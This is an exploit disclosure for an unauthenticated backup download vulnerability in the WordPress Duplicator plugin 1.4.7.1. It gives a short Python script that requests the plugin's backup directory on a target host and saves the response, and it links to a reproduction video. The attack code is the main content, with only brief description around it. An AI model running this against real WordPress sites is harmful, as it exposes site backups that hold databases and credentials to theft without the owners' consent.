WordPress Duplicator 1.4.7.1 Plugin - Unauthenticated Backup Download Vulnerability

## Title: WordPress Plugin Duplicator 1.4.7.1 - Unauthenticated Backup Download
## Author: nu11secur1ty
## Vendor: https://wordpress.org/
## Software: https://wordpress.org/plugins/duplicator/
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Duplicator%20%E2%80%93%20WordPress-Migration-Plugin/1.4.7.1



## Description:
The WordPress Plugin Duplicator 1.4.7.1 suffers from Unauthenticated
Backup Download, after an update from the 1.4.7 version.
The attacker can download all archive information from the system by
using this vulnerability!

Status: CRITICAL

[+] Exploit:

```python
#!/usr/bin/python
# Author nu11secur1ty
import requests
import time

vulnerableURL = "http://pwned_host.com/wordpress/wp-content/backups-dup-lite/"
archive=input("Give the name of the archive...\n")
response = requests.get(vulnerableURL)
time.sleep(5)
open(archive, "wb").write(response.content)
print("Right now, you just downloaded the secret archive =)\n")

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Duplicator%20%E2%80%93%20WordPress-Migration-Plugin/1.4.7.1)

## Proof and Exploit:
[href](https://streamable.com/ee11bg)